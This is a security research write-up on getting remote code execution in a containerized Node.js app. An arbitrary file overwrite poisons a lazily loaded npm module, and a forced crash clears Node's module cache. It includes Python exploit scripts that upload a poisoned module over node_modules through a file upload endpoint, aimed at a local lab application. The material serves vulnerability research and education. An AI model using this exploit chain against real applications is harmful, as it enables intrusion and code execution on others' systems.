NodeJS - Abusing Lazy Loading Technique
Exploiting Lazy Loading technique for remote code execution
Table of Contents
Introduction
During vulnerability research on a containerized Node.js application, I discovered a critical arbitrary file overwrite vulnerability. Initial attempts to overwrite core application files like app.js
proved ineffective due to two key constraints:
Application Restart Required: Modifying
app.js
required restarting the entire application.Container Reset Protection: Crashes triggered immediate container resets that restored all original files.
However, I discovered the developers were using lazy loading patterns throughout the application:
Example: Lazy Loading Pattern
async content() {
// Lazy loading - module loaded only when function is called
const { generate } = require('random-words');
const words = generate(5);
const sentence = words.join(' ');
return sentence;
}
What is Lazy Loading
"Lazy loading is a technique where modules or dependencies are loaded only when they are needed, rather than during the application's startup phase. This approach minimizes memory usage and reduces startup time, especially in applications with numerous dependencies."
Node.js Module Caching Behavior
Node.js caches modules after their first require()
call. Once a module is loaded and cached, subsequent require()
calls return the cached version, even if the original file has been modified on disk. This behavior is crucial to our attack.
Exploitation Strategy
This gave me an idea: what if I could modify an uncached module to abuse the lazy loading technique and gain remote code execution?
After analyzing the application's front-end, I identified:
Unused API routes not accessible through the UI that use lazy loading.
Crash triggers - actions that would force container resets and clear cached modules.
Attack Vectors
Direct Lazy Loading
Overwrite lazy-loaded modules (avoiding core files like
app.js
).Trigger the target endpoint to load the poisoned module.
Execute payload when Node.js loads the malicious code.
Clearing Cached Modules
For already-cached modules:
Crash the application intentionally to clear Node.js module cache.
Wait for the container to reset, clearing the cache.
Overwrite lazy-loaded modules (avoiding core files like
app.js
).Trigger the target endpoint to load the poisoned module.
Execute payload when Node.js loads the malicious code.
Demonstration
To demonstrate this vulnerability, I've created a proof-of-concept environment consisting of:
A vulnerable Node.js Express application with file upload and crash endpoint.
Exploitation script showcasing different attack scenarios
.
├── Dockerfile
├── backup
│  ├── index.js // malicious poisoned module that replaces the legitimate random-words package
│  └── index.js.org // The original legitimate module from the random-words package
├── evidence // The payload writes evidence files here (e.g., /evidence/pwn)
├── exploit.py // exploitation script that demonstrates the lazy module abusing. Contains multiple attack scenarios including direct exploitation and cache reset techniques.
├── run.bat // build docker image and start the containerized environment
├── run.sh // build docker image and start the containerized environment
└── src // This contains the complete Node.js Express application with intentional vulnerabilities.
├── app.js
├── controllers
│  ├── content.js
│  └── file.js
├── package-lock.json
├── package.json
├── routes
│  ├── content.js
│  └── file.js
├── services
│  ├── content.js
│  └── file.js
└── uploads
Application source code
Start the application
Run the application inside a container

Vulnerable endpoint for file upload

Crash Endpoint
router.get('/crash', (req, res) => {
console.log('Throwing uncaught exception...');
setTimeout(() => {
throw new Error('Intentional crash!');
}, 100);
});
This crash endpoint is crucial for the cache-clearing attack vector, as it forces the container to restart and clear the Node.js module cache. This used in the second scenario.
Uncached lazy module Scenario #1
Since the content endpoint uses lazy module loading, it isn't called at application startup, leaving its module uncached in Node.js.

Overwrite the random-words to gain remote code execution
This script demonstrates successful exploitation when the module hasn't been cached yet.
#!/usr/bin/env python3
import os
import shutil
import requests
import json
from time import sleep
# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"
# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()
def upload():
try:
files = {
'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
}
data = {
'path': ORIGINAL_MODULE, # Target module path
'filename': 'index.js' # Overwrite main module file
}
# Send malicious upload request
response = SESSION.post(
f"{URL}/api/file/",
files=files,
data=data
)
files['file'][1].close()
if response.status_code == 200:
return True
except Exception as e:
return False
def content():
try:
response = SESSION.get(f"{URL}/api/content/")
if response.status_code == 200:
return True
except Exception as e:
return False
def exploit():
print("[*] Uploading poisoned module")
if upload():
print("[+] Module successfully poisoned")
print("[*] Triggering poisoned module")
if content():
print("[+] Check /evidence/pwn for verification")
else:
print("[-] Upload failed")
if __name__ == "__main__":
# Scenario 1: Successful exploit
# - Poison module FIRST
# - Then trigger content endpoint
# This works because Node.js will load the poisoned module
# when it's required for the first time
exploit()

Evidence

Clearing Cached Modules #2
Abusing both Lazy Modules and container mechanisms by Crashing to Clear the Module Cache.
Note: Reset the application container to return the old state after scenario #1.
Call the content endpoint first to ensure the module is cached
#!/usr/bin/env python3
import os
import shutil
import requests
import json
from time import sleep
# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"
# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()
def upload():
try:
files = {
'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
}
data = {
'path': ORIGINAL_MODULE, # Target module path
'filename': 'index.js' # Overwrite main module file
}
# Send malicious upload request
response = SESSION.post(
f"{URL}/api/file/",
files=files,
data=data
)
files['file'][1].close()
if response.status_code == 200:
return True
except Exception as e:
return False
def content():
try:
response = SESSION.get(f"{URL}/api/content/")
if response.status_code == 200:
return True
except Exception as e:
return False
def unexploitable():
print("[*] Triggering content endpoint BEFORE poisoning")
content()
print("[*] Attempting to poison module and trigger again")
exploit()
if __name__ == "__main__":
# Scenario 2: Failed exploit
# - Trigger content endpoint FIRST (loads & caches original module)
# - Then poison module
# - Then trigger content endpoint AGAIN
# This fails because Node.js uses the cached original module
unexploitable()

Evidence for the unexploitable scenario

This final script demonstrates the complete attack chain: triggering a cached module, failing to exploit, then crashing the container to clear the cache and successfully exploiting:
#!/usr/bin/env python3
import os
import shutil
import requests
import json
from time import sleep
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"
# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()
def upload():
try:
files = {
'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
}
data = {
'path': ORIGINAL_MODULE, # Target module path
'filename': 'index.js' # Overwrite main module file
}
# Send malicious upload request
response = SESSION.post(
f"{URL}/api/file/",
files=files,
data=data
)
files['file'][1].close()
if response.status_code == 200:
return True
except Exception as e:
return False
def content():
try:
response = SESSION.get(f"{URL}/api/content/")
if response.status_code == 200:
return True
except Exception as e:
return False
def exploit():
print("[*] Uploading poisoned module")
if upload():
print("[+] Module successfully poisoned")
print("[*] Triggering poisoned module")
if content():
print("[+] Check /evidence/pwn for verification")
else:
print("[-] Upload failed")
def unexploitable():
print("[*] Triggering content endpoint BEFORE poisoning")
content()
print("[*] Attempting to poison module and trigger again")
exploit()
def crash():
try:
SESSION.get(f"{URL}/api/content/crash")
except:
pass
if __name__ == "__main__":
# Scenario 1: Successful exploit
# - Poison module FIRST
# - Then trigger content endpoint
# This works because Node.js will load the poisoned module
# when it's required for the first time
# exploit()
# RESET the container first to original state
# Scenario 2: Failed exploit
# - Trigger content endpoint FIRST (loads & caches original module)
# - Then poison module
# - Then trigger content endpoint AGAIN
# This fails because Node.js uses the cached original module
unexploitable()
# Clear the module cache via crash
input('Crash the application')
crash()
sleep(10) # wait for the container to restart
exploit()
Evidence for RCE after crashing the application and container reset


the modified script was loaded successfully after crashing to clear the cached modules.
Last updated
Was this helpful?